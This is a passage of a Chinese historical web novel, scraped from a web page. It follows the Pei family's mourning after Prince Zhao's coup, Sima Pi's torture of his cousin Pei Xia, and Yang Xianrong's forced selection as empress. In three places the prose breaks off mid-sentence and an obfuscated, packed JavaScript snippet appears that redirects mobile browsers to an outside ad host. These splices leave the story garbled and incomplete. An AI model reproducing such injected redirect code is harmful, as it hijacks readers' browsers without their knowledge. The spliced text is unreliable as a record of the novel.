王氏赶紧回礼,颤声道:“不敢。” 她拿袖口擦去眼角泪痕,试探着问:“大人因何而来?刑余之家,何敢劳王使亲临。” 陈准听出王氏话里的问责之意,脸上露出一抹愧色。 对于裴頠的死他亦很内疚。他虽及时投效赵王麾下,但到底不是王府心腹。赵王听从孙秀谗言,轻易便毒杀了张华父子和裴頠,他知道这件事的时候,已经晚了。 逝者已矣,他如今能做的,就是尽力保全老友的家人。 幸好,想救裴家的不止他一个。 原来午后,赵王先召挚虞问卜,紧接着又请他和驸马王敦入宫咨情。 三人均向赵王谏言从轻发落巨鹿郡公府及贾氏姻亲,只将主责推到已经被杀的贾氏一族和张华父子身上。 尽管孙秀父子极力反对,但众情难辞,赵王到底听了他们的劝谏,如今已答应不再追究巨鹿郡公一门,只说褫夺裴頠侍中、国子监祭酒及右将军官位,家人禁足思过。很快,裴頠的尸身也会发还府里治丧。同样,郭将军府、王司徒府外的守军亦撤了,二府同样只是罢官禁足。 这消息属实是不幸中的万幸,一时间,诸人皆忍不住喜极而泣! 要知道方才,阖府上下已做好被抄家灭门的准备! 大悲大喜之下,小郭氏差点晕厥过去,裴妍眼疾手快地揽住母亲。 王夫人在死里逃生的欣喜后,很快镇定下来,理智回笼,她不禁有些犹疑——赵王素来狠辣,何以这次竟突然宽仁起来? “多谢侍中回护之恩。”她理所当然的把功劳归结到陈准头上。 “不敢,此事多赖挚神仙周旋。”陈准没有贪功,如实相告。 神算挚虞,挚太仆的幼子? 王夫人蹙眉,她们家与挚太仆虽有交情,但远没有到性命相托的地步,更遑论他家儿子了。 “阿母,挚府君是张二郎的师叔。”裴妡小声提醒。 王夫人恍然。 裴妍抬头,恰与王夫人的目光不期而遇。她只觉这位婶母看自己的眼神里面有太多说不清道不明的情愫,除了感激与庆幸,似乎还夹着别的什么。 一旁的小郭氏回过神来。她自是知晓挚虞与张茂一家的关系的。她拍拍女儿的肩头,欣慰道:“必是张家的安排。” 裴妍点头,心里百感交集。早前容秋道张大郎已有后手,请她稍安勿躁,安心等上一等。她犹自不服。如今才发现,自己才是最无能又可笑的那一个。 身在局中,她犹如被蛛网缠身,不见天日,不辨方向,满以为要鱼死网破才能脱身。而张大郎只消动动手就能一招破局。 与张家大郎比起来,她要智计没智计,要成算没成算,要人手没人手,要威望没威望。难怪连张茂留下的私兵都不服她调遣! 她空有悲天悯人的情怀,却无那等扭转乾坤的能力,这和佛教里那些泥塑的菩萨有何区别? 容秋见她一动不动地盯着地上的蜀褥发怔,眼里明灭不定,似有漫天的星河散去,又似夏夜的流萤聚来。 不禁担忧地唤她:“女郎可是身子不舒服?” 裴妍摆手,透过海棠窗格看向外面的花红柳绿,轻声道:“只是觉得自己无用罢了。” 身边的容秋吓了一跳,暗忖,女郎怎么有些不对劲?二郎再不回来,怕要坏事! ……凉州刺史府,天色渐暗,幕僚们都被安排到前院用饭。 刻着饕餮纹的黄花梨榻上,张寔一身秋香色燕居长袍,未戴冠,只以赭色发带束发,身前一张食案,他的妻子贾蓁正服侍他用晚膳。 一个家将在堂下向他禀报巨鹿郡公府外已撤兵的事。 张寔听罢神色如常,慢条斯理地拿巾帕拭手,并未表态。 倒是贾蓁眉头微皱,向一旁饮着茶水的丈夫道:“毕竟是挚虞师叔的谏言,我们与师叔的关系不是秘密,赵王会否对我们存疑?” “存疑?”张寔放下帕子,眼里闪过一道寒光,”赵王还敢来府前对质不成?” “妾不是这个意思。”贾蓁忙道。 钜鹿郡公府是张家的恩人,里面又有小叔子的心上人,她本不该多嘴。只是想起方才阿弟匆忙来见自己,带来的消息着实不好。 她心一横,索性将自家的担忧吐出:“听闻赵王屠尽贾后一族,五服之内无人幸免。妾家虽与废后相去甚远,到底沾着一个姓,就怕赵王……” 张寔明白她的心思,贾蓁娘家与皇后早年同出一族,虽已脱离五服,又是旁支庶亲,来往较少,但若有心人恶意攀扯,难保不会受池鱼之灾。 张家联合挚虞借卜筮进谏,若被赵王查出端倪,赵王不敢拿安定张氏如何,但贾蓁娘家不过一届商贾,打杀一番敲山震虎却是再容易不过。 张寔浅笑,摇了摇头,赭色的发带拂在翠色的锦垫上。他轻拍妻子的手,安抚道:“你信不信,现如今,即便赵王抓到了咱家的把柄,他也只做未闻。” 见妻子半信半疑,张寔并未多言,只是抚了抚妻子的肩头,离开坐榻,踱到窗边透气。 贾蓁虽聪敏,但到底出身商户,对朝堂沉浮看不清楚。有些事,总要她自己想明白才好。 世易时移,张家已非过去仰人鼻息的小门小户,而是正经手握一方兵权财权的封疆大吏。赵王若想坐稳如今的位置,便得想方设法地拉拢他们,而非结仇。 何况,裴家也好,郭家也罢,都是百年世家。赵王已经雷霆手段屠了一个平阳贾氏,若再出手,岂非让整个士族人人自危? 赵王可不是孙秀,他还想着再进一步,登高望远哪! 没有世家支持的皇帝,能坐稳宝座吗? 赵王正缺一个台阶,一个可以与世家豪门和解的台阶。 也是看准这点,他才敢请挚师叔出山作保。 窗外夕阳燃尽,一点赤红的余晖隐在黑压压的墨云后,房外的家仆借着最后一点天光,陆续点亮了廊下的风灯。 看着摇曳的灯火,张寔两手背后,任晚风撩起轻飘的发带,思绪随天上隐约的星子飘向西北。 不知阿弟如今到了何处?在做什么?可知晓京中事? 想起弟弟的嘱托,张寔背在身后的手不自觉握紧。 事发突然,张司空府他未能护住,钜鹿郡公府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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幸好张二郎及时赶回,临危受命,主持政务,又接下军中事务,还带兵狠狠敲打了几个胆敢出头的胡人刺头,这才将局势稳定下来。 然而与众人的雀跃不同,张茂并无获胜的喜悦,相反近日他一直觉得心内惶惶,似有大事发生。 “嗷嗷……”他不自觉地抬眼望向东南,一只白翅黑点的海东青直飞冲天,随层层叠叠的祁连山脉绵延而上,很快被高耸入云的雪山阻隔了视线。 他收回目光,闷闷地嚼了一口胡麻饼,发往京城的探子也该回来了,不知近期可带回什么音信?阿妍,还好吗? …… 天色将晚,夜风骤起,裹挟着将落未落的水汽,凝在府前诸人的发梢眉心。 一身齐衰的裴妍随嫂嫂柳蕙左右搀扶着小郭氏,焦急而又惶惑地望着巷子口。 身前是二房诸人。 裴崇和裴该身着斩衰,手执哭丧棒,与裴憬一起,立于最前头。 不多久,“咯吱,咯吱……”远处传来车轮轧过地面的声音,就见昏黄的日光里,两个黄门一左一右赶着一辆白绸顶的轺车自巷口行来,两侧各有一队兵马护送。 王夫人在裴妡的搀扶下,颤颤巍巍地迎到车前。 为首的黄门面无表情地朝王夫人略行一礼,便朝身后挥挥手,自有将士撩起帘来,就见一张草席裹挟着的人被搬了出来,停在府门前的空地上。 那些黄门和将士或是怕被裴家牵累,或是早得了上峰的嘱咐,竟是径自把人丢于门口,招呼也不打,便匆匆回去了。 小郭氏立即将裴妍紧紧捂在怀里,不让她直面这一幕。 然而,眼睛虽被遮住了,耳朵却没有。 裴妍听得周围瞬间哀哭一片。尤其那几个刚被接回来的侄儿侄女,虽不明白家门遭遇了什么,但在此情境下,或被吓的,或一个看一个,皆嚎啕不止。 裴妍虽未能亲见,但在瑟瑟发抖、啜泣不止的母亲怀里,亦能想见叔父的惨状,不禁悲从中来,亦跟着啜泣起来。 万千哀哭中,突然听到一声嘶哑地厉喝:“噤声!”是二婶王夫人的声音。 裴妍从母亲怀里抬起头来,就见一身斩衰的王夫人端肃地立于府门前,虽脸色苍白,眼眶湿红,但腰背笔挺,带着经年主事的威压,对跪在身后的儿女仆从道了一句:“迎郎主回府!” 声音不大,却让诸人一下子找到了主心骨。 63. 龙争虎斗难为情,姊妹夜半再交心…… 于是,钜鹿郡公府中门大敞,在裴憬和裴该的帮衬下,裴頠的尸身被长子裴崇小心翼翼地架在背上,踉跄着驼进了门内。 一时间,男女老少,扶老携幼,亦相继入了府里。 裴妍跟在兄长后面,她隐隐看到,从草席里掉落出来的叔父的僵直垂下的指尖,尽是黑紫。 据说叔父是被毒死的! 她银牙暗咬,含泪将头撇向一边,不忍再看。 因天地骤变,事发突然,从清君侧到裴頠被杀至今不过两日。正厅灵堂亦是仓促布置。 因着裴家阖府仍在禁足,制备丧仪的各项采买只能委托陈准周旋。 架明旌,设祭坛,招复魂皆不难,惟敛葬之器难寻。 裴頠的棺椁是下半晌去西市现买的,这种身后物事本就千金难求,若非早早布置,很难寻到合意的。 哪怕陈准以侍中之名舍下重金,也只得了一副中等的楠木货。 楠木棺椁在普通人家看来高不可攀,可对视死如生的世家来说,却潦草得很。 裴参等家臣将主人搬到后堂打理一番后,终于收敛入棺,停灵堂上。 裴頠官位被夺,但爵位犹在。可在这个赵王一手遮天的节骨眼上,不管是河东裴氏本家,还是被禁足的姻亲王家、郭家,均不好派人上门致奠,更不用说其他世家故旧了。 也因此,偌大的灵堂,只有长房和二房的亲眷跪着哭灵。 陈准晚晌亲来府里吊唁,添补丧仪,为老友酹酒,烧祭文。 看着布置简单的灵堂,以及孤零零的裴家老小,陈准长叹一声,再次愧疚地朝王夫人告罪。 王夫人却当即止住他,摇头道:“若非中书令再三周旋,吾家早户灭三族,何来子孙香火。” 陈准与裴頠相交莫逆,情谊远超他人,他能来,王夫人并不稀奇。 陈准走后没多久,司马毗和张寔竟也前后脚地亲自来府上致奠。这却是王夫人始料未及的。 毕竟,这时节,能像太原王氏那样,派家臣上门聊表敬意,已是莫大的情分。如二府这样,少主亲自登门的,实是想都不敢想。 司马毗吊唁毕,主家回礼后,他看向身侧麻衣粗服,揽着母亲斜坐、哭得眼尾通红的裴妍,有心上去安慰两句,却被身后的张寔抢了先。 “元娘节哀。”张寔温声安慰这位未来的弟妹。 裴妍抬头,就见张寔一身素服立于自己身前,举手投足间似有张茂的影子。 她很想向他打听张茂的近况,然而她一抬头就看到自家这满堂老弱,遍是缟素,纵从前有万般绮思,在这千红一哭的当下,也不知该从何说起。终只是对着他盈盈一礼,再无他话——她和张茂两情相悦是一回事,和张寔委实不熟,甚而带着隐隐的敬畏。 司马毗欲和她说几句话,不意身后有人一拍他的肩膀,原是驸马都尉裴该。 “家门倾覆,难为世子不弃。” “不要这样说。”司马毗看了眼孤零零的灵堂,和火盆边跪哭的裴妍,悠悠道:“公道自在人心。” 灵前不宜叙话,郭、王二位夫人皆有心留二位贵客用杯茶。 二房是主祭,堂前不能离人。 司马毗和张寔都与裴家长房关系匪浅。于是招呼二位贵客的事便落到了长房唯一的男丁裴憬头上。 郭夫人小心翼翼地请二位贵客于偏室上座饮茶,又对裴憬使了个眼色,要他务必把人招待好,这才退了出去。 裴憬陪坐末席,有些不知所措地看看这个,瞧瞧那个。 司马毗和张寔,单个看他都熟,可是合着一起家来,他就不知该如何是好了。而且,他虽不敏,但这二人,一个是曾经的准妹夫,一个是现妹夫的兄长,他本能地感知到一股说不清道不明的暗流涌动,这让他更不敢开口了。 张寔和司马毗倒是比裴憬自在得多,二人都是养气的好性子,自入座后便淡然自若地饮着茶汤。 他二人此前在宫里遇过几回,同僚饮宴时亦有过交游。当然,那都是在司马毗知道张茂与裴妍的私情之前。 尽管两家因着裴妍的事有些不对付,但今日既然都不约而同地冒天下之大不韪来了巨鹿郡公府,可见,并不是落井下石之辈。 一盏茶后,司马毗看了眼坐立不安的裴憬,轻声安抚:“前头事忙,大兄自便就是。我与张府君亦相熟。” 张寔亦颔首浅笑。 这话正中裴憬下怀,他连连道好,又派了婢子给二位添茶送果,自己趁机溜了。与人周旋实不是他的强项,他宁愿去前厅哭灵也不愿待在偏室处理这种复杂的人际关系——这于他而言比背书还难! 裴憬走后,张寔和司马毗才真正说起事来。 张寔低头吹了吹墨绿的茶汤,故作清谈:“近日街头有民谣说‘貂不足,狗尾续’,世子可有耳闻?” 这两日,赵王为安抚宗室士族,大肆封赏文武百官,尤其左右侍中、常侍等天子近臣,竟多达百人。一时间用以文饰官帽的貂尾竟供应不足,主管服制礼仪的太常丞无奈只能以狗尾代之。民间对此嗤之以鼻,便有有心人做了民谣以讽之。 东海王作为宗室老臣,自然也是赵王积极拉拢的对象,连带着他这个世子都被封了个镇军将军的虚职。 司马毗不置可否:“散职虚禄,何足道哉。” 张寔漫不经心地理了理衣袖:“千人同茶不同味,万人同道不同心。世子不稀罕这些,东海王与府中人也作此想?” 司马毗皱眉,看向对座:“张府君何意?” 张寔放下茶盏,讳莫如深道:“河东裴氏赫赫百年,若无人从中作梗,赵王何以敢动郡公?” 司马毗眸中划过一抹惊怒,膝上的手不自觉握紧。 昨日,府中长史兼自己的表弟裴遐骤然得封四品左中郎将,他那庶出舅父裴绰亦莫名得封都官尚书。 他原未作多想,如今看来,竟与郡公身死有关? 张寔嘴角泛起一抹轻笑,看来东海王府也非铁板一块。东海王妃与世子不知道的,多矣! 张寔和司马毗离去后,堂前又恢复了冷清。诸人哭了半晌,已然声嘶力竭,难以发声了。 郭、王二夫人几度晕厥,长媳崔华堂赶紧命两个小姑子将她们扶去后堂休整。 后堂原是堆放冥币、香烛之用,只在边角设有两张矮榻,用作前堂主家略为休息之所。 王、郭二夫人都正值壮年。然而王氏哀毁过度,小郭氏又素来身体不好。故而,裴妍和裴妡将她们扶上矮榻安置好后,不过一刻,二位夫人便因累极囫囵着小睡过去。 裴妍带着妹妹坐在塌边的蒲团上,略作小憩。 这几日于裴妡而言,犹如天崩地裂,只是她在母亲面前一直故作坚强。如今见母亲睡去,她再也忍不住,一头扑进堂姐的怀里,死死咬着牙,轻轻啜泣起来。 裴妍安抚地顺着堂妹的秀发,想到不久前还好端端的叔父,如今就这般草席一裹,被抬了回来,心里亦无比难过。 “阿姊,阿耶走了,娘娘没了,阿公阿舅他们都被夺了官,我们家以后……以后……”裴妡呜咽着没有说下去。 裴妍明白她的意思。家里的最大的靠山倒了,姻亲也大多被夺官禁锢,往后,她们该怎么办啊! 裴妍记得,往年她和堂妹在一起的时候,都是阿妡拿主意的多。如今,她看向满是凄惶的妹妹,一下子觉得,自己这个姐姐当得很不称职。 她想了想,斟酌着道:“赵王肯让阿叔归家,想来不会为难我等。只是下一步该怎么走,还得听听婶母和兄长们的意思。” 裴妡点头,眸中划过一抹厉色:“司马越那老贼戮我阿耶,害我家门倾覆,岂能这么算了?” “自是不能!”裴妍咬牙,她审慎地回头看了眼母亲和二婶,小声道,“不过,如今我们被禁锢在府里,连大门都出不得,更遑论进宫了。赵王是该杀,但如何杀,还需大人们仔细筹谋。” 她虽对政事不敏,但这些年在闻喜乡下,多少知道点稼穑之艰。 回京后,在叔父、张茂还有司马毗的交谈中,她亦多次听到他们对时局的看法。但无论是哪一边,对赵王都是嗤之以鼻。如今,赵王又杀皇后、叔父和张司空,囚禁郭家、王家等姻亲,她只恨不能将这个搅屎棍杀之而后快!可是目下家里光景惨淡,她们又能怎么做呢? “你们……谁都不许妄动!” 身后传来沙哑的训斥声,二女骇了一跳,回头就见王夫人从榻上挣扎着坐起来。 原来她并未睡沉,只是打了个盹。 裴妡赶紧去扶母亲。就听王氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061685|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半是笃定半是诅咒,对她们道:“赵王恣睢狂妄,想要他命的人如过江之鲫,无需我们出手,自有高人教训他!” 话是这么说。只是,裴妡恨道:“杀父之仇,却要等他人来报?如何忍得?” “难忍也要忍!”王氏哑着嗓子对裴妡道。她伸出一只手来,握住女儿的肩头,“太原王氏今日的态度你可瞧见了?” 裴妡的脸色微不可查的一变,按下喉间酸楚,苦笑地点了点头。 家主裴頠身死,太原王氏作为二房正儿八经的亲家,居然只派了一个管事来祭奠。而长房的亲家安定张氏,甚至之前已解除婚约的东海王府,则是少主亲自前来,这差异不可谓不明显! 不过,她想起那管事偷偷与她说的,又抬起头来替未婚夫辩解:“非承郎不来,而是她大母径自锁了他。承郎无奈,只好托管事代为致奠。” 王夫人摇头:“我非质疑王大郎品性。他是家中长子,行事自有他的考量。我只是让你看清家门如今的形势。别说太原王氏,就是我们的本家、姻亲、故旧来的有几个?如今的巨鹿郡公府,可有能耐和赵王抗衡?” 尽管不甘,裴妡只得摇头。 王氏苦笑地看向女儿:“我与你说过多次,朝局瞬息万变。今日弄潮者,明日阶下囚,风光衰败不过转瞬,欲要长久,当审时度势,避其锋芒,借势而为。你阿耶便是个反例。他若能如陈侍中般及时抽身,随波流转,也不至于如今日这般身死魂灭。” 裴妡不意母亲竟这样说父亲,刚要为父亲鸣不平,就见王夫人抬手止住她,说起另一件事: “外患易除,家贼难平。你阿耶遭此横难与本家袖手有莫大关系。我们家虽出自庶支,但你阿耶和大父在世时,没少扶持提挈本家,此次他们见死不救,其中定少不了魑魅推波助澜。” 裴妍听罢,想了想道:“我和母亲在闻喜多年,和族长一家相交莫逆,阿嫂更与族长关亲。如何看,落井下石的都不是族长。” 王夫人赞许地瞥了眼裴妍。都说吃一堑长一智,这个从前不大聪敏的侄女在这几年的流放生涯中确实长进不少。 那会是谁? 裴妡咬牙道:“到底是哪个小人,敢同室操戈!” 王氏想起张大郎给自己传的消息,没有理会女儿,反而意味深长地看向裴妍:“张大郎已有线索,东海王世子也应承详查,约莫这几日便会有消息!” 裴妍有些不自在地点点头。她想起今日张家和东海王府同时登门吊唁的事——前夫家和现夫家同时当面,让她本能地羞躁无极。但她知道,如今家门衰败,旁的亲友避之不及。欲要成事,还得靠这两家帮衬。 她看向睡梦中犹自蹙眉的母亲,耳边隐约传来前厅里孩童和女眷断续的啼哭,突觉肩上的担子千斤重——从前有皇后坐镇于宫内,叔父操持于府外,她们一房老小才能有所依附。 如今,皇后和叔父相继倒下,家中所能依恃的,居然只有陈侍中、张家还有东海王府。 这个时候,她那点可怜又可笑的姻缘纠葛,在这大厦将倾的形势面前,算得了什么? 裴妍的右手心突然一阵刺痛,原来她不小心攥紧了齐衰下摆,被粗麻割破了点油皮。 她有些无奈的捂住手,自嘲地想:就自己这手不能提肩不能抗的,还想振兴家门?靠什么?这副无用的皮囊么? 她摊开掌心,修长软嫩的指尖在明灭的烛灯下泛起莹润的光泽。她想起从前贾后端坐明堂,发号指令的模样,下首文武,叩首舞拜,莫敢不从。 裴妍收掌成拳,一个女子,只有如曾经的皇后那般,权高秩重,才可翻手为云覆手为雨,成为家门和天下人的倚仗吧? 可是,皇后还是败了呀!连带着家门也跟着倾覆。她甚至不敢回想那些曾经熟悉的人——皇后、叔父、贾谧、景风表姊所出的那两个幼子,还有…… 猝不及防的,她的脑海里浮现出当年韩芷的惊鸿一舞——一身娇俏的红妆少女,就着梅香鼓乐,在明丽的蜀锦上翩然起落。 她那会自己还小,只知傻傻地目瞪口呆地看着这位表姊,惊为天人! 她记得满堂的少男少女,不管出自宗室、士族还是外戚,皆忍不住为她喝彩道好…… 而今……贾家满门被屠,韩芷怕也不在了吧! 64. 兜兜转转阴私泄,明明灭灭怨情生…… 裴妍细细地咂摸起婶母对裴妡说的话。归根结底,就是要保家惜命,审时度势! 可是,如何审,如何度? 她记得叔父很早之前就有借着为祖母守孝急流勇退的意思,却还是没能在大乱来临时自保。一个人也好,一个家族也罢,要如何既能为黎民干点正事的同时,又能在波谲云诡的争权夺利下全身而退呢? 裴妍忍不住蹙眉,惶惑地托着腮,双眼直直地盯着案上明灭不定的烛火愣神。 随着年龄渐长,经的事越多,她的困惑也跟着多了起来。 可惜,这幽微的心思,即便张茂在身边,似乎也无法回答她——自古弄权犹如豪赌,成王败寇,不进则退,退则身死。 王朝流转,权臣更替,你方唱罢我登场,演不完的王侯将相贵胄高粱,判不尽的满门抄斩迁坐流放。 既想揽权怙势翻云覆雨,做那高立云端众人追捧的人上人,便要做好一朝落败阖家赴难的赌资。 牌桌之上,哪有常胜将军? 要么,壮士断腕,舍了这一切,回老家做个田舍郎? 不是不可,毕竟家族尚在,即便耕读在野,亦能混个温饱。 只是,自来高处有人见,低处无人闻。无权势傍身的他们,想振兴家门,当堂话事?想激浊扬清,惩奸除恶?想济世救民,庇护一方? 呸,谁理得! 子时三更,梆子声将将敲过一轮。 皇城外,四军宿卫日夜巡防,亭燎烧得离宫门老远的道政坊内亦五指分明。 坤位西南角僻静宽阔,方圆间只有一处不大的院落,门口未挂匾,平日有部曲值守,在中层官僚云集的道政坊内不显山不露水——是司马毗置办的别院之一。 王府内人多嘴杂,难免有不密之灾。有些私密事,他宁愿到这里来处理。能进这院子的,上至幕僚下至洒扫婢从,皆是筛过几轮的心腹。 夤夜寂静,别院密室突然传出一阵噼啪声,笔墨纸砚落了一地。 下首,光洁的地砖上瑟缩着一个年轻男子,被麻绳道道捆索,身上衣不蔽体,血迹斑斑,偶有几处布帛吊于臂弯腿脚,依稀可见公服上平绣的山水云纹。 那男子俯伏于地,犹自不服,喘着粗气道:“裴頠悔亲在前,使计挑拨太妃与王妃在后,处处欺瞒大王与世子,臣只是鸣不平罢了!” 上首司马毗隐于明灭的烛火后,脸色阴沉,盯着堂下人胸膛起伏不定,右手紧握着一枚翠色琉璃杯,苍白的手背上青筋毕露——这套琉璃器皿还是几年前裴妍送给他的回礼。 睹物思人,他日日用着,早成习惯。哪怕两家已然退亲,他也没舍得收回库房。 “下臣所言,句句属实。世子当真要为裴頠这个背信弃义的小人害舅家性命?” 堂下人正是司马毗的表弟,曾任东海王友的裴遐。日前,伙同其父裴绰,为孙秀沟通裴家诸族老,放任赵王谋害巨鹿郡公裴頠。 事后,父子俩平步青云。裴遐甚至请孙秀作保,向王衍求取他的小女儿王和风。 司马毗经张寔提点,趁夜将人捉来,严刑之下,竟得到两个意外的消息: 一、裴妍与他断亲,是裴頠授意,派族亲为高密王妃献计。办这事的族亲与裴绰是酒友,一次酒后吐真言,令裴绰父子得知真相。 二、此事东海王早已知晓,只是碍于彼时裴頠势大,又有高密王妃混闹,这才压下怒意隐而不报。故而,此次裴遐沟通孙秀,谋害裴頠一事亦有东海王授意。 两个消息,却是一件事。他司马毗,被巨鹿郡公裴頠给耍了! 夺妻之仇,不共戴天! 司马毗铁拳紧握,只觉又气又怒,脑中混似被敲了一棒——那个他素来引以为尊长的裴頠竟是毁掉自己婚事的罪魁祸首。想来,裴妍与张茂的好事也是这位一手促成! 一口腥甜压在舌底,司马毗怒极反笑,想起自己与裴妍退婚那日,在裴頠书房做小伏低之态,只觉恨意喷薄——想来他在裴頠眼里,不过一介跳梁小丑! “那裴家元娘轻浮薄德,狎近门客,伙同亲长,亵渎婚约,无羞恶之心。世子怎可受她挑唆?”裴遐觑着司马毗脸色,趁机自辩。 “住口!”司马毗手里的琉璃杯瞬间捏碎,殷红的血珠随着手臂滴落在案。 两边的仆从赶紧上前包扎的包扎,收拾的收拾。 有婢子欲打开司马毗的手,将琉璃碎块抽走,却见他拂去身边人,直勾勾地盯着地上的裴遐,一步一步向堂下走去,任手上血流如注。他所经之处,血珠滴落蜿蜒成行,活似从地底爬上来的鬼。 裴遐只觉周遭一寒,刚要躲,下一瞬,脖子就被一只带血的大掌狠狠握住。他欲挣扎,奈何身上被麻绳牢牢束缚,只能徒劳地发出呜呜的喉音。 司马毗目眦欲裂,额角青筋狰狞,双眼血红,贴紧裴遐耳畔,哑声低语:“我的女人,岂容你置喙?” 裴遐眼底满是惧意,浑身瑟瑟发抖,却再不敢发出一个音来,只敢惊恐地摇头。 夜风呼号着穿过回廊,撩起司马毗散落的鬓发。他缓缓放开手,居高临下地看着跌落在地的表弟。 裴遐一朝得赦,喉头新鲜的空气倒灌,瞬间不要命地咳起来。 “裴頠已死,你与阿舅的事就此揭过。不过……”司马毗眼尾猩红,瞳孔内杀意更甚,“我和阿母眼里揉不得沙子,再有下回,别怪我不念舅表亲谊!” 裴遐的父亲裴绰是裴妃的庶弟,一门上下皆仰赖裴妃和司马毗的裙带关系。 然而这次,裴绰父子却直接绕过裴妃母子,擅自奉东海王之密令行事。这便拂了这对母子的逆鳞。 “唯唯!”裴遐顾不上喉间撕裂的痛,赶紧以头抢地,唯恐表忠心不及。 …… 裴頠丧事未竟,洛阳城内早已恢复了车水马龙的热闹。宛若前两日的清君侧,不过是头上响起的几道惊雷,如今云收雨歇,烈阳依然高照,明月依旧当空,至于那周遭的星子换了一波,又有何妨? 皇城内外,黄门宫女、禁军侍卫俱忙忙碌碌。曾经因清君侧而被破坏的殿阁楼宇,也在加紧修缮。那因屠戮而染红的陛阶,被洒扫得一丝腥味也无。 至于那些死在刀锋下的一具具冤魂,早被粗席一裹,扔到城外不知名的乱葬岗里喂了秃鹫。 那些缓过劲来的世家豪门,也试探着,重新走动起来——虽说赵王屠了不少贾后朋党,但于根深蒂固的世家而言,不过祭出去几个弃子,其他人还是照常过活。 甚而,早有那眼红的旁支,趁着新旧交替,如闻着味儿的蝇虫,迫不及待地围到赵王身侧。一朝天子一朝臣,几家欢喜几家愁。 赵王上位,最欢喜的莫过于早早便与之结交的孙家与羊家。 孙秀父子作为赵王的心腹幕僚自不必提。羊家得势却是意外之喜。 早年,羊瑾因开罪裴頠,导致儿子羊玄之被贬西北,却因祸得福,羊玄之到凉州后顺势入了赵王麾下。 在赵王的牵线下,羊玄之的丈人孙旂还与孙秀一家联了宗。如今,随着赵王和孙秀大权独揽,他们羊家也跟着水涨船高。 修文坊内,尚书右仆射羊府,进出的甬道被车辙填满。等在路边的牛马百无聊赖地甩着头,有的还噗噗地往外喷着蛋壳样的粪便。春日风大,扬起一股刺鼻的气味。 角门边,侍应的童子、引路的奴婢、理事的家老皆忙得脚不沾地。递拜帖的、送礼的、求见的络绎不绝。 羊府内院,一个送花的婢子蹑手蹑脚地撩帘入内,却听得里间传来断续的啜泣和隐隐的人声。 “快别哭了,你这般模样,如何得孙侍中青眼?” “谁爱去谁去,家门那么多女郎,为何非得是我?” 内室的帷幄突然放了下来,隔断了外间的窥探,连里间的声音也小了很多。那送花的婢子不敢多听,赶紧插花入瓶,悄声退了出去。 里间,一妙龄女子斜卧在榻,虽一袭素袍,鬓发松散,不施粉黛,却仍可见佳人窈窕,玉软花柔。这便是羊瑾的孙女、羊玄之的长女羊献容了。 “你阿公好不容易为你挣来的后位,万不可如此诋毁。”孙夫人不满道。 在孙夫人看来,女儿真是太不懂事了,她只觉头疼——那可是皇后之位! 他们羊家之前出了位弘训太后,一家老小跟着沾了多少光!如今三代而衰,若非赵王和侍中孙秀扶持,这后位怎么也轮不到她家! 她和婆婆一样,都觉得女儿入宫对家门而言是天大的好事。 至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065234|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于女儿心里怎么想,她自然清楚,却并不在意。 哪个女郎年轻时没有点红豆之思呢?可是只有嫁了人生了子做了一家主母,为丈夫前程操劳、上下庶务劳神甚而被姑舅磋磨之后,才知道,什么少年郎君知心人都是假的,这世上能让自己过得舒服的惟权势而已! “谁不知道天子是傻……” “噤声!”孙夫人难得肃了脸色,朝女儿冷声道:“天子就是天子,岂容你我置喙?你若觉得做皇后委屈了你,大可找根绳子吊脖子去,我和你阿耶自会好好替你发丧。你若没这胆量,便老实地等着中贵人来迎你!” 言罢,不顾女儿哀哀哭求,甩袖出了房门。 羊献容满腔委屈却无人可诉,俯趴在床又哭了一阵。不知怎的,她突然想起几年前在郭家偶遇的裴家姊妹来。 钜鹿郡公府覆灭,她原还有些同情那姊妹俩。失了家主庇护,谁知道这对如珠似玉的姊妹花会流落到何处去?可如今看来,自己比之她俩,又好在哪里? 天子的年龄足可以做他爹了,还是个连妻儿都护不住的傻子!嫁给他,岂非把自己架在火上烤? 羊献容不是无知无觉的傻子,听阿兄说,赵王已在谋划加九锡,显然还要更进一步。 到那时,傻皇帝安有命在?只怕自己都要为他陪葬!最好的结局也不过是去金墉城孤独终老! 家门这是要拿她当垫脚石,搏一个从龙之功啊! 她一抹眼角,恨恨地爬到榻边的梨花妆镜前,决绝地拔下一支赤金蝴蝶钗,对着铜镜,拿尖细的钗尾往自家脖子上比了比。 “叮”赤金的簪钗应声落地——她怕疼,那蝴蝶钗的尖尖才压到皮肉一点儿,她就忍不住扔了出去! “呵呵!”她突然捂着脸嗤笑起来,眼里满是无奈的绝望,空有气性,想死又怕得要死,她娘可真是了解她啊! 羊家为自家女儿封后之事忙里忙外,隔着两个坊门的钜鹿郡公府也在收拾当中。 三日停灵之后,王夫人与小郭氏商量,有意携儿孙扶灵归乡,顺便避祸。 小郭氏自然赞成。裴頠已死,赵王上位,她们这些孤儿寡母,留在京里也不安全。不如大家一起回闻喜老家去,有裴族长罩着,总不至于遭大灾。 然而,未等行装收拾停当,却见石勒和听雨急急行来。二人于门口撞到一块,见到彼此都有些诧异。 他们都是奉家主之命来送消息的。 听雨道天子拟诏立尚书右仆射之孙女为继后,命太仆寺于十日后行册封大典。 